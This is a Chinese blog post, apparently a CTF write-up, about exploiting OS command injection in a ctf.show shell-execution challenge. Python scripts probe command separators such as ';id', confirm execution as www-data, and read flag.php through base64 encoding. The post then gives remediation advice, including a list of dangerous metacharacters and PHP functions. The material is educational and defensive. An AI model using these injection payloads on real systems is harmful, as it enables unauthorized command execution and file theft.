BurpSuite+AI渗透测试(七):一个分号,拿下服务器"

admin 2026-10-22 07:34:38 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

BurpSuite+AI渗透测试(七):一个分号,拿下服务器

原创

yusaho
yusaho

Web安全工具库

2026年6月11日 16:25
河南

在小说阅读器读本章

去阅读

一、概述

测试人员对目标 Web 应用进行黑盒安全评估。该应用为一个在线代码执行平台,允许用户提交 Shell 脚本并在服务器端运行。测试过程中发现服务器端存在严重的输入过滤缺陷,导致攻击者可在未授权状态下执行任意系统指令并读取敏感文件。


二、漏洞详情

2.1 漏洞类型

操作系统命令注入(OS Command Injection)

2.2 风险等级

高危(High)

2.3 漏洞位置

POST / HTTP/1.1
Host: 2f1bb9c7-ec5****ge.ctf.show
Content-Type: application/x-www-form-urlencoded

shell_code=<payload>

2.4 漏洞成因

服务器后端将用户输入直接拼接至系统调用中,伪代码逻辑如下:

// 危险写法(示意)
$cmd = \"ls \" . $_POST['shell_code'];
system($cmd);

后端对输入进行了部分过滤(限制空格使用),但未过滤命令分隔符 ;,导致攻击者可通过注入分隔符截断原有指令并追加任意命令。


三、测试过程

3.1 信息收集

访问目标页面,确认功能为 Shell 指令执行框。初步判断存在服务端执行用户输入的逻辑。提交基础指令 ls,服务器返回执行成功提示但无输出内容,确认为无回显命令执行场景。

3.2 过滤规则探测

测试常见分隔符,逐步确认哪些字符未被过滤:

import requests

target = \"https://2f1bb9c7-ec50-*********6d.challenge.ctf.show/\"

payloads = {
    \"管道符\": \"ls|id\",
    \"分号\":   \";id\",
    \"逻辑与\": \"&&id\",
    \"后台执行\": \"&id\",
}

for name, payload in payloads.items():
    resp = requests.post(target, data={\"shell_code\": payload})
    # 通过返回内容是否包含 uid= 判断是否执行成功
    hit = \"uid=\"in resp.text
    print(f\"[{'✓' if hit else '✗'}] {name:8s}  payload={payload!r}\")

探测结果:

[✓] 管道符    payload='ls|id'
[✓] 分号      payload=';id'
[✗] 逻辑与    payload='&&id'
[✗] 后台执行  payload='&id'

分号 ; 与管道符 | 均未被过滤,可用于截断并注入后续指令。

3.3 漏洞验证

使用分号注入 id 指令验证代码执行权限:

import requests

target = \"https://2f1bb9c********llenge.ctf.show/\"

payload = \";id\"
resp = requests.post(target, data={\"shell_code\": payload})
print(resp.text)

服务器回显:

ls ;id execute success!
flag.php
index.php
uid=33(www-data) gid=33(www-data) groups=33(www-data)

确认漏洞存在,当前进程权限为 www-data,同时获得目录文件列表,发现目标文件 flag.php。

3.4 敏感文件读取

直接读取时,PHP 标签导致内容被解析不可见:

payload = \";cat flag.php\"
resp = requests.post(target, data={\"shell_code\": payload})
print(resp.text)
# 输出仅有文件名列表,PHP 代码内容被渲染为空

改用编码方案,将文件内容以 Base64 形式输出后再本地解码:

import requests
import base64
import re

target = \"https://2f1b*******d.challenge.ctf.show/\"

# 第一步:获取 Base64 编码内容
payload = \";b*se64 fl*g.php\"
resp = requests.post(target, data={\"shell_code\": payload})

# 从响应中提取 Base64 字符串(去除页面其余内容)
b64 = re.search(r'([A-Za-z0-9+/=]{20,})', resp.text)
if b64:
    decoded = base64.b64decode(b64.group(1)).decode()
    print(\"[+] 文件内容:\")
    print(decoded)

执行输出:

[+] 文件内容:
<?php

$fl*g = \"CTF{no_******mm*nds}\";

敏感信息成功读取。


四、影响范围

  • • 可在服务器上以 w*****a 权限执行任意系统指令
  • • 可读取 Web 目录下所有文件,包括含有敏感信息的配置文件
  • • 若服务器存在其他提权路径,攻击者可进一步扩大控制范围

五、修复建议

1. 禁止直接将用户输入传入系统调用

避免使用 system()、exec()、shell_exec()、passthru() 等函数处理用户输入。若业务必须执行外部命令,应使用白名单机制严格限制可执行的指令范围。

2. 对用户输入进行严格过滤

过滤所有命令分隔符及特殊字符,包括但不限于:

; | & ` $ ( ) { } [ ] < > \
 \\r

PHP 环境下应使用 escapeshellarg() 对参数进行转义:

// 修复示例
$allowed = ['ls', 'pwd', 'date'];  // 白名单
$input = trim($_POST['shell_code']);

if (!in_array($input, $allowed)) {
    die(\"指令不在允许范围内\");
}

// 即使使用白名单,传参时仍应转义
$safe = escapeshellcmd($input);
system($safe);

3. 以最小权限运行 Web 进程

确保 Web 服务进程(如 www-data)不具备访问敏感目录或执行高权限操作的能力,限制横向移动和提权空间。

4. 敏感文件访问控制

将含有密钥、凭据等敏感信息的文件移出 Web 根目录,并通过文件系统权限限制读取:

# 将敏感配置移至 Web 根目录之外
mv /var/www/html/config.php /etc/myapp/config.php
chmod 600 /etc/myapp/config.php
chown root:root /etc/myapp/config.php

5. 禁用危险函数

在 php.ini 中通过 disable_functions 禁用不必要的命令执行函数:

disable_functions = system, exec, shell_exec, passthru, popen, proc_open, pcntl_exec

六、总结

项目 内容
漏洞类型 OS 命令注入
利用难度 低
危害程度 高
修复优先级 紧急
根本原因 用户输入未过滤直接拼接至系统调用
绕过方式 分号截断 + Base64 编码绕过渲染

本次测试发现目标系统存在高危命令注入漏洞,根本原因在于服务端对用户输入过度信任,过滤策略不完整。攻击者无需任何凭据即可在服务器上执行任意指令并读取敏感文件。建议立即停止在生产环境中暴露此类功能接口,并按上述方案完成修复。


    Apache近期热点漏洞分析报告(一文带你了解Apache近期所有高危漏洞)" 网络安全文章

    Apache近期热点漏洞分析报告(一文带你了解Apache近期所有高危漏洞)"

    文档汇总Apache旗下HTTPServer、Tomcat、Calcite三大组件在2026年公开的5个高危漏洞,包括CVE-2026-34486(Tomcat集群反序列化RCE)、CVE-2026-23918(HTTP/2双重释放RCE)等超高危漏洞。详细分析漏洞成因、利用条件及危害,提供立即升级版本、关闭高危端口、部署WAF等修复方案,并给出企业资产巡检、应急响应流程等安全加固建议。
    江渭清回忆录_七十年征程" 网络安全文章

    江渭清回忆录_七十年征程"

    文档分享江渭清回忆录选段,涵盖皖南事变项英责任、反清乡斗争教训、孟良崮战役张灵甫之死政治处理、四清运动中与刘少奇的分歧及毛主席的态度、文革保护孙中山铜像等史实。内容侧重高层政治互动与党史细节披露。
    Golang重试机制,如何应对各种失败的场景" 网络安全文章

    Golang重试机制,如何应对各种失败的场景"

    本文系统解析Golang重试机制的设计要点,指出盲目重试可能放大故障风险。核心在于区分可重试错误(如网络闪断、5xx状态码)与不可重试错误(如业务逻辑错误),并强调写操作必须依赖服务端幂等性。代码示例展示了包含退避抖动、Retry-After头解析的重试框架,建议限制重试次数(2-3次)、添加详细日志并配合熔断限流控制重试预算。
    评论:0   参与:  0